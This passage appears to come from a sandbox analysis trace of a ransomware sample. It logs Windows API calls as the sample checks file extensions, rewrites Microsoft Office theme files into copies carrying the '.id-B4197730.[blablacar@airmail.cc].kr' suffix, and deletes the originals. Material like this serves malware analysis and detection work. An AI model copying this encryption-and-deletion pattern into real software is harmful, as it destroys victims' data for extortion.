lpString2=".MID") returned 1 [0186.863] lstrlenW (lpString=".bz2") returned 4 [0186.863] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.863] lstrlenW (lpString=".7z") returned 3 [0186.863] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.863] lstrlenW (lpString=".dbf") returned 4 [0186.863] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.863] lstrlenW (lpString=".1cd") returned 4 [0186.863] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.863] lstrlenW (lpString=".jpg") returned 4 [0186.863] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.864] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0186.864] lstrlenW (lpString="Grunge Texture.eftx") returned 19 [0186.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.864] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=352776) returned 1 [0186.864] CloseHandle (hObject=0x4d4) returned 1 [0186.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220 [0186.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.865] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.865] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.866] GetLastError () returned 0x0 [0186.866] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x56208, lpOverlapped=0x0) returned 1 [0186.905] WriteFile (in: hFile=0x51c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x56210, lpOverlapped=0x0) returned 1 [0186.913] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.913] WriteFile (in: hFile=0x51c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xfa, lpOverlapped=0x0) returned 1 [0186.913] SetEndOfFile (hFile=0x51c) returned 1 [0186.913] CloseHandle (hObject=0x51c) returned 1 [0186.913] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.913] SetEndOfFile (hFile=0x4d4) returned 1 [0186.924] CloseHandle (hObject=0x4d4) returned 1 [0186.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.926] lstrlenW (lpString=".doc") returned 4 [0186.926] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0186.926] lstrlenW (lpString=".docx") returned 5 [0186.926] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0186.926] lstrlenW (lpString=".pdf") returned 4 [0186.926] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0186.926] lstrlenW (lpString=".xls") returned 4 [0186.926] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0186.926] lstrlenW (lpString=".xlsx") returned 5 [0186.926] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0186.926] lstrlenW (lpString=".ppt") returned 4 [0186.926] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.926] lstrlenW (lpString=".zip") returned 4 [0186.926] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0186.926] lstrlenW (lpString=".rar") returned 4 [0186.926] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0186.926] lstrlenW (lpString=".bz2") returned 4 [0186.926] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0186.926] lstrlenW (lpString=".7z") returned 3 [0186.926] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.926] lstrlenW (lpString=".dbf") returned 4 [0186.926] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.926] lstrlenW (lpString=".1cd") returned 4 [0186.926] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0186.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.926] lstrlenW (lpString=".jpg") returned 4 [0186.927] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0186.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.927] lstrlenW (lpString=".doc") returned 4 [0186.927] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0186.927] lstrlenW (lpString=".docx") returned 5 [0186.927] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0186.927] lstrlenW (lpString=".pdf") returned 4 [0186.927] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0186.927] lstrlenW (lpString=".xls") returned 4 [0186.927] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0186.927] lstrlenW (lpString=".xlsx") returned 5 [0186.927] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0186.927] lstrlenW (lpString=".ppt") returned 4 [0186.927] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0186.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.927] lstrlenW (lpString=".zip") returned 4 [0186.927] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0186.927] lstrlenW (lpString=".rar") returned 4 [0186.927] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0186.927] lstrlenW (lpString=".bz2") returned 4 [0186.927] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0186.927] lstrlenW (lpString=".7z") returned 3 [0186.927] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0186.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.927] lstrlenW (lpString=".dbf") returned 4 [0186.927] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0186.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.927] lstrlenW (lpString=".1cd") returned 4 [0186.927] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0186.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0186.927] lstrlenW (lpString=".jpg") returned 4 [0186.928] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0186.928] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0186.928] lstrlenW (lpString="Inset.eftx") returned 10 [0186.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.928] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=44971) returned 1 [0186.928] CloseHandle (hObject=0x4d4) returned 1 [0186.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220 [0186.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.929] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.929] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.930] GetLastError () returned 0x0 [0186.930] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xafab, lpOverlapped=0x0) returned 1 [0186.965] WriteFile (in: hFile=0x51c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xafb0, lpOverlapped=0x0) returned 1 [0186.966] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.967] WriteFile (in: hFile=0x51c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xe8, lpOverlapped=0x0) returned 1 [0186.967] SetEndOfFile (hFile=0x51c) returned 1 [0186.967] CloseHandle (hObject=0x51c) returned 1 [0186.967] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.967] SetEndOfFile (hFile=0x4d4) returned 1 [0186.973] CloseHandle (hObject=0x4d4) returned 1 [0186.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1 [0186.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.974] lstrlenW (lpString=".doc") returned 4 [0186.974] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0186.974] lstrlenW (lpString=".docx") returned 5 [0186.974] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0186.974] lstrlenW (lpString=".pdf") returned 4 [0186.974] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0186.974] lstrlenW (lpString=".xls") returned 4 [0186.974] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0186.974] lstrlenW (lpString=".xlsx") returned 5 [0186.974] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0186.974] lstrlenW (lpString=".ppt") returned 4 [0186.974] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0186.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.974] lstrlenW (lpString=".zip") returned 4 [0186.974] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0186.974] lstrlenW (lpString=".rar") returned 4 [0186.974] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString=".bz2") returned 4 [0186.975] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString=".7z") returned 3 [0186.975] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0186.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.975] lstrlenW (lpString=".dbf") returned 4 [0186.975] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.975] lstrlenW (lpString=".1cd") returned 4 [0186.975] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.975] lstrlenW (lpString=".jpg") returned 4 [0186.975] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.975] lstrlenW (lpString=".doc") returned 4 [0186.975] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString=".docx") returned 5 [0186.975] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0186.975] lstrlenW (lpString=".pdf") returned 4 [0186.975] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString=".xls") returned 4 [0186.975] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString=".xlsx") returned 5 [0186.975] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0186.975] lstrlenW (lpString=".ppt") returned 4 [0186.975] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.975] lstrlenW (lpString=".zip") returned 4 [0186.975] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString=".rar") returned 4 [0186.975] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0186.975] lstrlenW (lpString=".bz2") returned 4 [0186.976] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0186.976] lstrlenW (lpString=".7z") returned 3 [0186.976] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0186.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.976] lstrlenW (lpString=".dbf") returned 4 [0186.976] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0186.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.976] lstrlenW (lpString=".1cd") returned 4 [0186.976] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0186.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0186.976] lstrlenW (lpString=".jpg") returned 4 [0186.976] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0186.976] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0186.976] lstrlenW (lpString="Milk Glass.eftx") returned 15 [0186.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.977] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=46403) returned 1 [0186.977] CloseHandle (hObject=0x4d4) returned 1 [0186.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220 [0186.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.977] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.977] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0186.978] GetLastError () returned 0x0 [0186.978] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xb543, lpOverlapped=0x0) returned 1 [0187.127] WriteFile (in: hFile=0x544, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xb550, lpOverlapped=0x0) returned 1 [0187.128] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.128] WriteFile (in: hFile=0x544, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xf2, lpOverlapped=0x0) returned 1 [0187.129] SetEndOfFile (hFile=0x544) returned 1 [0187.129] CloseHandle (hObject=0x544) returned 1 [0187.129] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.129] SetEndOfFile (hFile=0x4d4) returned 1 [0187.132] CloseHandle (hObject=0x4d4) returned 1 [0187.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0187.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1 [0187.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.133] lstrlenW (lpString=".doc") returned 4 [0187.133] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.133] lstrlenW (lpString=".docx") returned 5 [0187.133] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.133] lstrlenW (lpString=".pdf") returned 4 [0187.133] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.134] lstrlenW (lpString=".xls") returned 4 [0187.134] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.134] lstrlenW (lpString=".xlsx") returned 5 [0187.134] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.134] lstrlenW (lpString=".ppt") returned 4 [0187.134] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.134] lstrlenW (lpString=".zip") returned 4 [0187.134] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.134] lstrlenW (lpString=".rar") returned 4 [0187.134] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.134] lstrlenW (lpString=".bz2") returned 4 [0187.134] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.134] lstrlenW (lpString=".7z") returned 3 [0187.134] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.134] lstrlenW (lpString=".dbf") returned 4 [0187.134] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.134] lstrlenW (lpString=".1cd") returned 4 [0187.134] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.134] lstrlenW (lpString=".jpg") returned 4 [0187.134] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.134] lstrlenW (lpString=".doc") returned 4 [0187.134] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.134] lstrlenW (lpString=".docx") returned 5 [0187.134] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.134] lstrlenW (lpString=".pdf") returned 4 [0187.134] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.135] lstrlenW (lpString=".xls") returned 4 [0187.135] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.135] lstrlenW (lpString=".xlsx") returned 5 [0187.135] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.135] lstrlenW (lpString=".ppt") returned 4 [0187.135] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.135] lstrlenW (lpString=".zip") returned 4 [0187.135] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.135] lstrlenW (lpString=".rar") returned 4 [0187.135] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.135] lstrlenW (lpString=".bz2") returned 4 [0187.135] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.135] lstrlenW (lpString=".7z") returned 3 [0187.135] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.135] lstrlenW (lpString="C:\\Program Files\\Microsoft 